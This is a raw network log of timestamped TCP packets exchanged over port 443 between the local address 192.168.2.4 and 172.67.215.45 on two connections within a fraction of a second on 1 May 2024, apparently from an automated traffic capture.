May 1, 2024 08:37:52.456279039 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.456295967 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.456304073 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.456345081 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.456594944 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.456614017 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.456677914 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.456682920 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.456731081 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.457175016 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.457231998 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.457247019 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.457262993 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.457283020 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.457679033 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.457695961 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.457798958 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.457803965 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.457895041 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.458487988 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.458509922 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.458543062 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.458549023 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.458580971 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.458700895 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.458719969 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.458787918 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.458787918 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.458792925 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.458926916 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.459429979 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.459455013 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.459486008 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.459490061 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.459527016 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.459763050 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.459779024 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.459832907 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.459837914 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.459868908 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.459896088 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.460635900 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.460654974 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.460706949 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.460711956 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.461436033 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.461455107 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.461534023 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.461541891 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.461620092 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.462265968 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.462291002 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.462321043 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.462326050 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.462362051 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.462578058 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.462596893 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.462665081 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.462665081 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.462670088 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.462733030 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.463365078 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.463382006 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.463463068 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.463466883 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.463483095 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.463500977 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.463541985 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.463542938 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.463547945 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.463570118 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.464401007 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.464418888 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.464504004 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.464505911 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.464521885 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.464540958 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.464569092 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.464570045 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.464576006 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.464596033 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.465372086 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.465388060 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.465434074 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.465439081 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.465451002 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.465984106 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.466002941 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.466069937 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.466073990 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.466116905 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.467055082 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.467072964 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.467147112 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.467152119 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.467173100 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.467195034 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.467223883 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.467230082 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.467247009 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.467259884 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.467947006 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.467967033 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.468049049 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.468054056 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.468122005 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.468144894 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.468162060 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.468192101 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.468198061 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.468225002 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.468991995 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.469012976 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.469065905 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.469070911 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.469091892 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.469175100 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.469196081 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.469234943 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.469258070 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.469263077 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.470736027 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.470752954 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.470819950 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.470825911 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.470834017 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.470851898 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.470871925 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.470918894 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.470923901 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.471687078 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.471705914 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.471769094 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.471774101 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.471821070 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.472048998 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.472071886 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.472109079 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.472114086 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.472141981 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.472615957 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.472635031 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.472678900 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.472682953 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.472718954 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.472728014 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.473112106 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.473126888 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.473169088 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.473175049 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.473217964 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.474128008 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.474149942 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.474184036 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.474189997 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.474224091 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.474366903 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.474385977 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.474452972 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.474457026 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.474498034 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.475306988 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.475326061 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.475358009 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.475406885 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.475410938 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.475491047 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.475637913 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.475656986 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.475692987 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.475703955 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.475723028 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.476280928 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.476299047 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.476377964 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.476382971 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.476502895 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.476706982 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.476721048 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.476757050 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.476763964 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.476794958 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.477194071 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.477211952 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.477258921 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.477264881 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.477298021 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.477343082 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.477826118 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.477843046 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.477878094 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.477884054 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.477915049 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.478806973 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.478821993 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.478866100 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.478873014 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.478878975 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.478887081 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.478890896 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.478933096 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.478936911 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.478952885 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.479015112 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.479918957 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.479938030 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.480024099 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.480024099 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.480029106 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.480117083 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.480674982 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.480694056 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.480725050 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.480731964 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.480760098 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.480962992 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.480982065 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.481050014 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.481055021 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.481122971 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.481618881 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.481631994 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.481664896 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.481674910 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.481695890 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.481925011 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.481940985 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.481992006 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.481996059 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.482042074 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.482042074 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.483011007 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.483035088 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.483072996 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.483078003 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.483294010 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.483314991 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.483335018 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.483485937 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.483490944 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.483542919 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.484447002 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.484462023 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.484510899 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.484519005 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.484642982 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.484746933 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.484771967 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.484828949 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.484828949 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.484833956 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.484877110 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.485160112 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.485177994 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.485219955 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.485275984 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.485279083 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.485460997 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.485476017 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.485490084 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.485532999 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.485538960 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.486188889 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.486208916 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.486274004 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.486278057 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.486325979 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.486725092 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.486742973 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.486778975 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.486783028 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.486804962 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.487159014 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.487181902 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.487255096 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.487255096 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.487261057 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.487332106 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.487483978 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.487498045 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.487529039 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.487535000 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.487572908 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.488730907 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.488750935 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.488807917 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.488812923 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.488858938 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.488858938 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.489272118 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.489309072 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.489340067 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.489346981 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.489375114 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.489739895 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.489759922 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.489814043 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.489818096 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.489859104 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.490075111 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.490562916 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.490596056 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.490616083 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.490628004 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.490650892 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.490837097 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.490858078 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.490919113 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.490919113 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.490922928 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.491151094 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.491271973 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.491316080 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.491336107 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.491342068 CEST	443	49750	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.491373062 CEST	49750	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.491547108 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.491564989 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.491624117 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.491624117 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.491631031 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.491946936 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.492661953 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.492683887 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.492727995 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.492743015 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.492774963 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.492875099 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.493244886 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.493266106 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.493330956 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.493330956 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.493339062 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.493551016 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.494544029 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.494565964 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.494712114 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.494719982 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.494951963 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.495739937 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.495759964 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.495815039 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.495820999 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.495842934 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496062040 CEST	49751	443	192.168.2.4	172.67.215.45
May 1, 2024 08:37:52.496083975 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496112108 CEST	443	49751	172.67.215.45	192.168.2.4
May 1, 2024 08:37:52.496171951 CEST	49751	443	192.168.2.4	172.67.215.45
